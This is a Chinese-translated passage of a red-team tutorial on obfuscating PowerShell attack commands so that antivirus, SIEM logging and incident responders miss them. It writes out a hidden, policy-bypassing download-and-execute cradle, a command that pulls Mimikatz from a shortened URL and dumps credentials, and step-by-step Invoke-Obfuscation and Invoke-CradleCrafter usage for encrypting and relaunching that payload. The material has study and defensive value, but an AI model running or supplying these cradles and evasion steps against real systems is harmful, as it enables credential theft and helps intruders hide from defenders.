PowerShell 混淆

PowerShell Scripts 当前的问题是,如果你将它们放到磁盘上,很多防病毒工具都会把它们检测出来。即使你将它们导入内存,查看内存的杀毒软件工具有时也会对它们发出警报。

无论如何,如果你从 Cobalt Strike、Meterpreter 或 PowerShell Empire 将它们导入内存,确保我们不会被杀毒软件检测出来是非常重要的。万一被检测出来的话,我们至少应该让应急响应团队或取证团队很难去逆向我们的攻击 payload。

我们都看过像这样的 PowerShell 命令:

  1. Powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString(‘[PowerShell URL]’); [Parameters]

这是我们可能看到的最基本的 powershell 调用指令的字符串组合,可以用于绕过执行策略,来以隐藏窗口的模式(后台运行无弹窗)自动下载和执行 powershell payload。对于蓝队,我们已经看到了很多关于这些特定参数的日志记录,比如 -Exec Bypass。因此,我们开始通过一些常见的 PowerShell 语法来混淆此参数:

  • -ExecutionPolicy Bypass
    • -EP Bypass
    • -Exec Bypass
    • -Execution Bypass

感谢 Daniel Bohannon 的提醒!他提醒说:更疯狂的是,我们实际上不需要打出完整的参数字符串就能使它工作。例如,对于 -ExecutionPolicy Bypass,所有下列示例都可以生效:

  • -ExecutionPolicy Bypass
  • -ExecutionPol Bypass
  • -Executio Bypass
  • -Exec Bypass
  • -Ex Bypass

这些技术也同样适用于 WindowStyle 甚至 EncodedCommand 参数。当然,这些技巧不足以支撑我们走得更远,我们还需要创建更多的混淆变换。首先,我们可以使用一个非常简单的示例来执行我们的远程 PowerShell 脚本(在本例中为 Mimikatz)并使用以管理员身份运行的 PowerShell 提示符来转储哈希值:

  • Invoke-Expression (New-Object Net.WebClient).DownloadString(‘http://bit.ly/2JHVdzf’); Invoke-Mimikatz -DumpCreds

    译者注:

    1. WindowStyleEncodedCommand 是 PowerShell.exe 的选项参数。WindowStyle 可以改变 CMD 窗口的风格,将窗口样式设置为 Normal、Minimized、Maximized 或 Hidden。EncodedCommand 是接受 base-64 编码字符串版本的命令。使用此参数向 Windows PowerShell 提交需要复杂引号或大括号的命令。欲知更多参数,可以在 Windows Powershell 里面使用 powershell -help 命令查看。
    2. Invoke-Expression 能将任何的字符串当作PowerShell脚本来执行。以下附上关于 Invoke-Expression 的更多参考资料:

通过 Invoke-Obfuscation 混淆框架,我们可以使用以下几种不同的技术对这个字符串进行深度混淆:

  • 在 Windows 上,下载用于 Invoke-Obfuscation 的 PowerShell 文件( https://github.com/danielbohannon/Invoke-Obfuscation
  • 加载 PowerShell 脚本并启动 Invoke-Obfuscation
    • Import-Module ./Invoke-Obfuscation.psd1
    • Invoke-Obfuscation
  • 设置要混淆的 PowerShell 脚本。在这个例子中,我们将混淆上面的 Mimikatz 哈希值下载转储脚本
    • SET SCRIPTBLOCK Invoke-Expression (New-Object Net.WebClient).DownloadString(‘http://bit.ly/2JHVdzf’); Invoke-Mimikatz -DumpCreds
  • 对 payload 进行编码
    • ENCODING
  • 在这个例子中,我选择了 SecureString(AES),但你可以把所有这些混淆技术都试一试。

PowerShell 混淆 - 图1

混淆后的字符串包含一个随机生成的密钥和一个加密的安全字符串。在管理员权限下运行 PowerShell,我们仍然可以执行完整的 payload。

PowerShell 混淆 - 图2

我们也可以回到主屏幕并创建混淆的 launcher:

  • main
  • launcher
  • CLIP++
  • 选择你的执行 flag

PowerShell 混淆 - 图3

更棒的是,查看 Windows PowerShell 日志我们会发现,如果脚本是混淆的,日志中也仅仅是记录了混淆后的东西。这个特性可以帮助我们躲避杀毒软件和 SEIM 警报工具。

PowerShell 混淆 - 图4

除了 Invoke-Obfuscation 之外,Daniel 还创建了一个名为 Invoke-CradleCrafter 的工具,该工具专注于远程下载 cradle,是一个 PowerShell 2.0+ 版本兼容的 PowerShell 远程下载 cradle 生成器和混淆器。Invoke-CradleCrafter 的 github README 文档中介绍说,“Invoke-CradleCrafter 的存在是为了帮助蓝队和红队轻松探索、生成和混淆 PowerShell 远程下载 cradle。此外,它可以帮助蓝队测试环境检测的有效性。Invoke-CradleCrafter 可以检测 Invoke-Obfuscation 产生的输出,但是在处理 Invoke-CradleCrafter 时可能会失败,因为它不包含任何字符串拼接、编码、复选标记、类型转换等”。

译者注: 什么是 cradle
一个 download cradle(下载 cradle)是一个用于下载和代码执行的单行命令。通常可以在 maldoc 或 exploit 的末尾看到,执行攻击生命周期中第二阶段的exploit/infection 下载。在某些情况下,比如攻击者运行无文件时,一个下载 cradle 也可以是其他攻击阶段的持久性机制、工具或执行的一部分。
参考资料:Powershell Download Cradles